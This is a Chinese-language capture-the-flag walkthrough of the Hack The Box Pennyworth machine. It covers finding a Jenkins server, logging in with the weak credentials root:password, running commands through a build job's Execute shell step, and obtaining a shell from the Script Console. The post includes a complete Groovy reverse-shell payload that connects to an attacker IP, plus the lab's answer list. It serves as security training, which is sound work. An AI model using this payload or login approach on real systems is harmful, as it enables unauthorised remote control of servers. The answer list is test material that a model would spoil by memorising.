HTB_Pennyworth 靶机之命令&代码执行与反弹shell

本次通过分析 jenkins 组件学习渗透测试流程,最终通过代码执行漏洞拿到 shell

信息收集

日常扫描,nmap -sV -v ,发现开放 8080 端口

在这里插入图片描述

Jenkins是一个独立的开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能
持续集成:简单来说,有时候做项目,各个模块单独测试时都是能用的,但是上线前将所有模块集成到一起之后跑不通了,此时修改就为时晚矣,所以在模块开发时,就尽早将模块整合,持续不断的集成新模块进行测试,尽早发现问题,这是开发过程中项目管理所提倡的一种方法实践

正常开发人员提交代码后要经历-> 检出(从代码库下载代码到本地)-> 打包 ->部署 几个步骤,而有了集成工具,只需要提交,剩下的都可以交由 Jenkins 帮我们去做,直接就能在服务器看到修改

在网上能搜索到很多 Jenkins (👉Jenkins-w3cschool) 的公开漏洞,但是我们并不清楚该应用具体的版本信息,如果要有该应用所有的漏洞的一键综合利用工具就好了,可惜没找到😏

弱口令

我个人是十分讨厌弱口令这个东西的,只看管理员的安全意识,回报率低

暴破后,根据 Length 排序,账号密码为 root:password

在这里插入图片描述

在这里插入图片描述

右下角可以看到版本为 2.289.1 ,首先可以熟悉一下它的功能,由于英语实在不好,装了 chrome ,翻译方便一点

功能分析

我们在此阶段的目的是了解应用程序有哪些接口,哪里能控制输入,输入如何处理,结果如何输出…毕竟很大一部分漏洞都是由于不安全的输入引起的,我们关注的重点也是能否利用,而不是真的精通软件的使用

说明文档:https://www.jenkins.io/doc/book/using/

搜索公开的漏洞复现也是比较省力的利用方式 👉cve搜索 ,并不是特别全

在这里插入图片描述

msf 中有 13 条相关脚本 search jenkins

在这里插入图片描述

也可以在搜索引擎搜索 jenkins 漏洞并尝试复现

在这里插入图片描述

我们的目的是能访问目标主机的 flag,当然不是所有的漏洞都适合这个场景,比取消项目构建,触发LDAP查询,用户枚举等等,比较合适的就是文件包含&命令执行&代码执行漏洞,最好是直接获取shell的那种,而且有的漏洞没有分析没有利用方式或工具,别说没工具就算有工具都不一定会用,更大可能连是什么漏洞都看不懂…

当然,本次不会尝试去复现漏洞

搜索

search搜索功能 :一般是接收参数拼接 sql 语句,进行数据库查询,并将结果返回到前端页面,在 pikachu 靶场接触过,因为是在前端页面显示,所以也可以测试 xss

在这里插入图片描述

添加文本

导航条第二个就是用户管理功能

在这里插入图片描述

status:显示用户角色 ID,还可以添加描述,描述的数据会输出到页面,<div> 标签包裹,测试 xss,但是并没有弹窗啊,我们翻阅说明文档,发现它使用了 Content Security Policy(CSP) 内容安全策略,这是专门为了防止 XSS 注入的,没有看到响应头或 meta 标签有相应设置,看源码是符号被转义了

在这里插入图片描述

摘自阮一峰博客:

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机

不仅可以限制各种资源如 js脚本、图片等的加载,也可以限制 url 的引用,当然,CSP 也不是万能的,可以在某些情况下被绕过,如 👉我的CSP绕过思路及总结-先知社区

姓名配置

build 选项应该是先在其他地方配置之后才能在这里操作 ,先略过 ,看configure

在这里插入图片描述

改名字的地方,名字这种信息应该会在数据库存储,然后在前端页面显示,也是涉及到 sqlxss这两个漏洞

描述就不说了,和刚才一样

api令牌

jenkinsapi 令牌

在这里插入图片描述

这个令牌的作用是调用 api 时方便身份验证的,如果使用账号密码被认为是不安全的,这些令牌的生成过程中我们能替换吗?身份认证相关的功能存在越权的可能比较大吧

下面的几个就不介绍了,看过了几个模模糊糊有一些套路了,感觉这个功能没什么值得看,当然这种东西都是靠个人水平的,有什么我也看不出来

ssh公钥

ssh 公钥主要是免密登录使用,和api 令牌同样是为了安全与方便

SSH 密钥登录分为以下的步骤

预备步骤,客户端通过 ssh-keygen 生成自己的公钥和私钥

第一步,手动将客户端的公钥放入远程服务器的指定位置

第二步,客户端向服务器发起 SSH 登录的请求

build

my views 和主界面差不多,先前在翻阅资料时,都会提到构建 build 功能,我们点进去 Groovy Script ,有一个 workspace 文件夹,这个文件夹就是存放项目代码的

在这里插入图片描述

同样的,我们点击主页面 New item 新建一个项目,输入名字,选择项目类型,随便选第一个自由风格项目,确认

在这里插入图片描述

General 部分是项目的基本配置

在这里插入图片描述

Source Code Management 是源代码管理,这种直接执行代码的环境感觉非常不安全,应该是都在沙箱环境,但是也有绕过的一些情况

在这里插入图片描述

Build Triggers 构建触发器,意思是在什么条件触发构建任务,比如提供一个接口远程构建,或者定时构建,或者代码更改时构建等等

在这里插入图片描述

Build Enviroment 构建环境,一些配置选项,比如每次构建删除旧代码等

在这里插入图片描述

BuildExecute shell 就是执行 shell 命令,我们可以尝试写一个 whoami 执行

在这里插入图片描述

Post-build Actions 就是构建后的操作,比如生成报告

在这里插入图片描述

Build Now 然后乱点一通,在点进像是太阳图标的东西后,发现 shell 命令的输出结果

在这里插入图片描述

node

在左下角 Build Executor Status 有一个构建执行器动态,这是 jenkins 的架构方式

Master/Slave相当于Server和agent的概念。Master提供web接口让用户来管理job和slave,job可以运行在master本机或者被分配到slave上运行。一个master可以关联多个slave用来为不同的job或相同的job的不同配置来服务

在这里插入图片描述

master 一般就是 jenkins 的服务器,里面有一个 Script Console 脚本控制台功能,可以写 groovy 脚本

在这里插入图片描述

其它的暂时没什么了,看不懂高级用法

命令执行

Execute shell 处添加命令查看 flag ,ls -a

ls -a
.
..

我们到根目录下查看,怎么改自己研究吧,很简单,点点就行

cd /root
ls -a

在这里插入图片描述

cat flag.txt

代码执行与反弹shell

反弹shell

groovy 是一种 java 扩展语言,java 我们大致了解过皮毛,可以在idea新建项目,经过简单调整格式,本地测试可以运行,String cmdshell 模式,在 win 下是 cmd.exe ,在linux下是/bin/bash

String host="10.10.16.6";
int port=8000;
String cmd="cmd.exe";
//ProcessBuilder创建操作系统进程
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

我们在攻击机使用 nc 监听端口,等待目标机器建立连接获取 shell ,这个是说将目标机器的执行结果发送到攻击机上

在这里插入图片描述

在靶场脚本控制台执行,获得了 shell

在这里插入图片描述

不知道为什么是这样没有前面的类似的盘符路径什么的,但是也不影响

在这里插入图片描述

关于payload

在上面的 payload 中使用了 socket 连接,所谓socket连接,是指网络上的两个程序通过一个双向的通信连接实现数据的交换,这个连接的一端称为一个socket

Server 端 Listen 监听某个端口是否有连接请求

Client 端向 Server 端发出连接请求

Server 端向 Client 端发回 Accept 接受消息 这样一个连接就建立起来了

Server 端和 Client 端都可以通过 Send,Write 等方法与对方通信

所以才可以实现命令与结果的互相传递吧

创建 Socket

打开连接到 Socket 的输入输出出流

按照一定的协议对 Socket 进行读/写操作

关闭 Socket

答案

Common Vulnerabilities and Exposures
confidentiality, integrity, availability
Jetty 9.4.39.v20210325
2.289.1
Groovy
cmd.exe
ifconfig
-u
reverse shell
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值